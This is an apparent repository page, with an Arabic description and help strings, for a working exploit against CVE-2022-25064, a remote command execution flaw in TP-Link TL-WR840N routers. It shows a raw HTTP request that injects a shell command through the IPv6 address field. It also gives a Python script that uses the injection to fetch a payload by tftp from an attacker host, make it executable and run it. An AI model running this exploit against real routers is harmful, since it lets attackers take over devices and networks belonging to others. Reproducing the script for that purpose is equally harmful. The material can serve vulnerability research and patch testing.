mr-xn/cve-2022-25064استغلال بايثون لـ TP-Link TL-WR840N RCE (CVE-2022-25064) عبر حمولة عنوان IPv6 مصمَّعة في واجهة CGI الخاصة بالمُوجِّه، مما يتيح تنفيذ الأوامر عن بُعد.
POST /cgi?2&2&2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 617
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2
X_TP_lastUsedIntf=ipoe_eth3_s
X_TP_lastUsedName=ewan_ipoe_s
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18
externalIPAddress=172.26.26.2
subnetMask=255.255.255.0
defaultGateway=172.26.26.1
NATEnabled=1
X_TP_FullconeNATEnabled=0
X_TP_FirewallEnabled=1
maxMTUSize=1500
DNSOverrideAllowed=1
DNSServers=1.1.1.1,8.8.8.8
X_TP_IPv4Enabled=0
X_TP_IPv6Enabled=1
X_TP_IPv6AddressingType=Static
X_TP_ExternalIPv6Address=`cat /proc/version > /var/tmp/ver`
X_TP_PrefixLength=128
X_TP_DefaultIPv6Gateway=::
X_TP_IPv6DNSOverrideAllowed=1
X_TP_IPv6DNSServers=::,::
enable=1
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 8
[error]0
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: Samir Sanchez Garnica and Luis Jacome Valencia
# Description: This script exploits a remote command execution vulnerability in the TPLink WR840N router, using the IPv6 protocol.
import requests
import base64
import argparse
class RCE():
def __init__(self, ip, command, username, password):
self.ip = ip
self.command = command
self.username = username
self.password = password
self.session = requests.Session()
def base64_encode(self, s):
msg_bytes = s.encode('ascii')
return base64.b64encode(msg_bytes)
def exploit(self):
# Building the malicious packet
self.url = "http://" + self.ip + "/cgi?2&2"
self.proxyes = {}
self.payload = '[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nX_TP_lastUsedIntf=ipoe_eth3_s\r\nX_TP_lastUsedName=ewan_ipoe_s\r\n[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18\r\nexternalIPAddress=172.26.26.2\r\nsubnetMask=255.255.255.0\r\ndefaultGateway=172.26.26.1\r\nNATEnabled=1\r\nX_TP_FullconeNATEnabled=0\r\nX_TP_FirewallEnabled=1\r\nmaxMTUSize=1500\r\nDNSOverrideAllowed=1\r\nDNSServers=1.1.1.1,8.8.8.8\r\nX_TP_IPv4Enabled=0\r\nX_TP_IPv6Enabled=1\r\nX_TP_IPv6AddressingType=Static\r\nX_TP_ExternalIPv6Address=`'+str(self.command)+'`\r\nX_TP_PrefixLength=128\r\nX_TP_DefaultIPv6Gateway=::\r\nX_TP_IPv6DNSOverrideAllowed=1\r\nX_TP_IPv6DNSServers=::,::\r\nenable=1\r\n'
self.headers = {
'Host': self.ip,
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0',
'Accept': '*/*',
'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'text/plain',
'Content-Length': 'str(len(self.payload))',
'Origin': 'http://'+str(self.ip),
'Referer': 'http://'+str(self.ip)+'/mainFrame.htm',
}
self.cookies = { 'Authorization' : 'Basic ' + self.base64_encode(self.username + ":" + self.password).decode('ascii') }
self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.payload, proxies=self.proxyes, timeout=10)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--username", dest="username", help="أدخل اسم المستخدم المسؤول للراوتر", required=True)
parser.add_argument("--password", dest="password", help="أدخل كلمة مرور المسؤول للراوتر", required=True)
parser.add_argument("--target", dest="target", help="أدخل عنوان IP للراوتر", required=True)
parser.add_argument("--lhost", dest="lhost", help="أدخل عنوان المضيف المحلي لخادم TFTP", required=True)
parser.add_argument("--lport", dest="lport", help="أدخل المنفذ المحلي الذي سيتلقى الاتصال", required=True)
args = parser.parse_args()
if args.username and args.password and args.target and args.lhost and args.lport:
commands = ['tftp -g -r s -l/var/tmp/r {}'.format(args.lhost), 'chmod +x /var/tmp/r', '/var/tmp/r &']
for com in commands:
rce = RCE(args.target, com, args.username, args.password)
rce.exploit()
print("[+] جاري استغلال المرحلة " + str(com))
if __name__ == "__main__":
main()